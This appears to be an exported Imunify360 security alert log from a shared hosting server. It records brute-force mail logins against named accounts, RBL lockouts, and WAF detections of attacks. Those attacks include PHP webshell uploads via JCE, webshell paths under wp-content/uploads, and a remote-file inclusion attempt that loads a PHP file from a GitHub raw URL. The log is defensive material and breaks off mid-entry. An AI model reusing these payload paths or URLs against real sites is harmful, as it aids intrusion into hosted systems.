rule: 13001
name: Exim Auth failed
abuser: 186.238.242.194
country_id: 3469034
description:
2026-07-24 06:45:09 dovecot_login authenticator failed for H=(111-211-96-66.myrepublic.com.sg) [186.238.242.194]:44733: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.217.255.44
country_id: 6252001
description:
Jul 24 06:48:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.217.255.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.217.255.44
country_id: 6252001
description:
2026-07-24 06:48:22 dovecot_plain authenticator failed for H=(nismago) [173.217.255.44]:25046: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 06:52:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 06:52:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 06:53:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.190.152
country_id: 3469034
description:
Jul 24 06:56:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.190.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.0.190.152
country_id: 3469034
description:
2026-07-24 06:56:36 dovecot_login authenticator failed for H=([183.171.154.8]) [131.0.190.152]:40525: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.122.87.186
country_id: 1814991
description:
2026-07-24 06:56:52 dovecot_login authenticator failed for H=([185.94.182.35]) [118.122.87.186]:46698: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.26.255.95
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/retail-and-hospitality HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.50.152.193
country_id: 6252001
domain: www.ibmctradeflow.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.60.32.77
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 07:03:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 07:05:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.29.204.161
country_id: 1814991
description:
Jul 24 07:10:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.29.204.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.29.204.161
country_id: 1814991
description:
2026-07-24 07:10:44 dovecot_login authenticator failed for H=([111.70.20.166]) [14.29.204.161]:51818: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-07-24 07:11:13 dovecot_login authenticator failed for H=(wsip-70-183-236-81.pn.at.cox.net) [218.149.235.152]:35256: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.235.152
country_id: 1835841
description:
Jul 24 07:11:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.235.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.91.209.200
country_id: 1694008
description:
2026-07-24 07:13:44 dovecot_login authenticator failed for H=([94.16.17.141]) [116.91.209.200]:16236: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.91.209.200
country_id: 1694008
description:
Jul 24 07:13:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.91.209.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.96.106.175
country_id: 1269750
description:
Jul 24 07:13:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.96.106.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-24 07:13:11 dovecot_login authenticator failed for H=([102.210.149.95]) [14.96.106.175]:47536: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 07:13:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.159.54
country_id: 1694008
description:
2026-07-24 07:14:13 dovecot_plain authenticator failed for H=(localhost) [103.68.159.54]:52033: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.159.54
country_id: 1694008
description:
Jul 24 07:14:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.159.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 07:16:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 07:17:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 07:19:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 95.85.238.60
country_id: 3077311
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_vvdzxu.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.251.93.214
country_id: 6252001
description:
Jul 24 07:24:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.251.93.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-24 07:24:44 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [162.251.93.214]:36036: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.24.209.174
country_id: 102358
description:
Jul 24 07:24:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.24.209.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-24 07:24:53 dovecot_login authenticator failed for H=([45.170.50.2]) [144.24.209.174]:56805: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 07:25:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 07:26:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 16.79.112.1
country_id: 1643084
domain: gsmex.global
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:gsmex||SC:/home/gsmex/public_html/index.php||WPU:||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 07:34:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:e8a0:d48f:691b:61f0
country_id: 2077456
domain: www.futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.35||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Minor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.214.59
country_id: 1835841
description:
Jul 24 07:36:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.214.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-24 07:36:50 dovecot_login authenticator failed for H=([192.252.220.90]) [220.77.214.59]:60425: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
country_id: 1814991
description:
Jul 24 07:37:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.112.132
country_id: 1668284
description:
Jul 24 07:37:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.112.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-24 07:37:02 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net (ccabv.org9.static.gvt.net.br) [110.25.112.132]:40149: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.31.198
country_id: 1814991
description:
2026-07-24 07:37:35 dovecot_login authenticator failed for H=(host59.181-104-41.telecom.net.ar) [60.166.31.198]:43332: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 24 07:39:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 07:39:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 07:41:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 138.186.139.102
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://money.mymotherlode.com/clarkebroadcasting.mymotherlode/article/abnewswire-2026-5-29-pressure-washing-in-north-bellmore-ny-bellmores-1-power-washing-pros-roof-and-house-washing-expands-exterior-cleaning-services/\">Commercial Pressure Washing near me</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 07:42:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 07:47:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.225.203.146
country_id: 2661886
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/2022/10/upload.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 07:48:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 4.225.203.146
country_id: 2661886
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2025/03/themes.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.225.203.146
country_id: 2661886
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/2025/03/themes.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 07:55:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 82.135.202.97
country_id: 597427
domain: www.elegantautomotives.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/94.0.4606.61 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 08:03:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_e2sw6qsb.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 08:05:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 08:05:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 08:07:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 24 08:09:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 08:10:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.96.146.250
country_id: 6252001
description:
Jul 24 08:10:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.96.146.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.96.146.250
country_id: 6252001
description:
2026-07-24 08:10:58 dovecot_login authenticator failed for H=(111-70-20-106.emome-ip.hinet.net) [157.96.146.250]:50534: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.208.177.56
country_id: 6252001
description:
Jul 24 08:11:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.208.177.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2026-07-24 08:11:15 dovecot_login authenticator failed for H=([139.94.185.130]) [74.208.177.56]:58774: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.191.106.186
country_id: 1814991
description:
Jul 24 08:12:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.191.106.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.0.3
country_id: 3469034
description:
Jul 24 08:13:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.0.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.0.3
country_id: 3469034
description:
2026-07-24 08:13:41 dovecot_login authenticator failed for H=([182.135.63.175]) [177.174.0.3]:46745: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.173.38.135
country_id: 2017370
description:
Jul 24 08:13:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.173.38.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.38.135
country_id: 2017370
description:
2026-07-24 08:14:01 dovecot_login authenticator failed for H=broadband-109-173-38-135.ip.moscow.rt.ru (183.82.108.109.actcorp.in) [109.173.38.135]:58326: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 08:17:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.45.254.146
country_id: 357994
description:
Jul 24 08:17:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.45.254.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.45.254.146
country_id: 357994
description:
2026-07-24 08:17:52 dovecot_plain authenticator failed for H=(localhost) [102.45.254.146]:60935: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.135.135.57
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/symconfig/root/etc/cloudlinux-backup/mysql_freeze.config||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.62.22
country_id: 1269750
description:
Jul 24 08:21:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.62.22
country_id: 1269750
description:
2026-07-24 08:21:13 dovecot_plain authenticator failed for H=(undefty) [182.95.62.22]:39666: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 20.118.34.228
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/aeahllou/fonts/sqywkgkq.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 08:27:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 08:28:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 08:28:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 08:28:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 08:33:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.37.97
country_id: 2635167
description:
Jul 24 08:36:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.37.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-24 08:36:17 dovecot_login authenticator failed for H=([68.71.253.70]) [188.122.37.97]:59050: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.69.134.243
country_id: 1562822
description:
2026-07-24 08:36:33 dovecot_login authenticator failed for H=([192.111.143.93]) [118.69.134.243]:44074: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 08:38:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-24 08:39:11 dovecot_login authenticator failed for H=([67.201.59.67]) [49.249.76.219]:35382: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.249.76.219
country_id: 1269750
description:
Jul 24 08:39:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.249.76.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.187.243.243
country_id: 1814991
description:
Jul 24 08:39:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.187.243.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.187.243.243
country_id: 1814991
description:
2026-07-24 08:39:44 dovecot_login authenticator failed for H=([112.86.146.178]) [123.187.243.243]:54529: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 70.45.146.40
country_id: 4566966
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:29051.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c9bc7e72bea6b1975e1c53d9eceac9758b20871d||Title:0x42897ef2||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.130.207.177
country_id: 597427
description:
Jul 24 08:42:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.130.207.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.130.207.177
country_id: 597427
description:
2026-07-24 08:42:43 dovecot_login authenticator failed for H=static-213-130-207-177.cust.tele2.lt (65-181-79-060.static.imsbiz.com) [213.130.207.177]:46764: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.46.239.201
country_id: 1814991
description:
2026-07-24 08:42:29 dovecot_login authenticator failed for H=(67-6-237-24.gci.net) [121.46.239.201]:49977: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.46.239.201
country_id: 1814991
description:
Jul 24 08:42:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.46.239.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 223.181.11.181
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: Special shell symbol in request||MV:director-photo|FULLPATH}||MVN:REQUEST_URI||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 08:49:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 08:50:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 08:51:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.38
country_id: 1036973
description:
Jul 24 08:51:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-24 08:51:21 dovecot_login authenticator failed for H=([65.20.237.191]) [197.219.208.38]:47748: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
